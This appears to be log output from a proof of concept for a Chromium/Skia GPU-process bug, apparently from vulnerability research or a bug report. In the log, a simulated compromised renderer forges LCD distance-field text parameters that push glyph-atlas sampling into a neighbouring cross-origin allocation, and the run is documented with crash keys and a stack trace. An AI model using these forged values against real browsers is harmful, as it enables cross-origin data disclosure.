=== Renderer process (PID 1607) — simulated compromised renderer ===

[1607:1618] POC[renderer]: forging SDFTSubRun useLCD=1 (orig=0)
[1607:1618] POC[renderer]: forging SDFT creationMatrix Scale(12.0) (orig scaleX=0.8100, ratio=14.8148, glyphs=2)

=== GPU process (PID 1483) — receives forged Slug via RasterCHROMIUM IPC ===

[1483:1483] POC[GPU]: SDF subrun: isLCD=1 maskType=5 viewDiff.scale=(0.08333,0.08333) texelsPerDevPx=12.000 lcdSubpixelOffset=4.000 texels (atlas inset=2, padding=0)

[1483:1483] POC[GPU]: TRIGGERED. GrDistanceFieldLCDTextGeoProc will be built with kLinear and NO clamp on uv+/-offset. uv_adjusted = atlasRect.edge +/- 4.000 texels reads 2.000 texels INTO the neighbouring (cross-origin) glyph allocation.

[1483:1483] FATAL:third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp:310] POC: SDF-LCD subpixel offset 4.000 texels EXCEEDS 2-texel atlas inset (GrAtlasedShaderHelpers.h:129/136 sample uv+/-offset with no clamp). Renderer-forged creationMatrix drove minification past the safe range -- cross-origin kA8 glyph-atlas texel disclosure in GPU process.

Crash keys:
  "gpu-url-chunk"            = "http://127.0.0.1:8080/poc.html"
  "gr-context-type"          = "GaneshGL"
  "gpu-gl-context-is-virtual" = "0"

Symbolized stack (GPU process):
  #1  SkAbort_FileLine                              skia/ext/google_logging.cc:83
  #2  AtlasTextOp::Make (POC detector)              third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp:303
  #3  Device::drawSlug atlasDelegate                third_party/skia/src/gpu/ganesh/Device.cpp:1448
  #4  std::function<void(...)>::operator()          libc++/__functional/function.h:502
  #5  SubRunList::draw                              third_party/skia/src/text/gpu/SubRunContainer.cpp:1606
  #6  Device::drawSlug                              third_party/skia/src/gpu/ganesh/Device.cpp:1457
  #7  SkCanvas::drawSlug                            third_party/skia/src/core/SkCanvas.cpp:2474
  #8  cc::DrawSlugOp::RasterWithFlags               cc/paint/paint_op.cc:1791
  #9  RasterDecoderImpl::DoRasterCHROMIUM           gpu/command_buffer/service/raster_decoder.cc:3056
  #10 RasterDecoderImpl::HandleRasterCHROMIUM       gpu/command_buffer/service/raster_decoder.cc:3087
  #11 RasterDecoderImpl::DoCommandsImpl             gpu/command_buffer/service/raster_decoder.cc:1534
  #12 CommandBufferService::Flush                   gpu/command_buffer/service/command_buffer_service.cc:267
  #13 CommandBufferStub::OnAsyncFlush               gpu/ipc/service/command_buffer_stub.cc:504
  #14 GpuChannel::HandleMessage                     gpu/ipc/service/gpu_channel.cc:854

(Different PIDs 1607 vs 1483 confirm the forged data crossed the renderer→GPU
 IPC boundary via the OOP-R RasterCHROMIUM command buffer; maskType=5 is
 AtlasTextOp::MaskType::kLCDDistanceField.)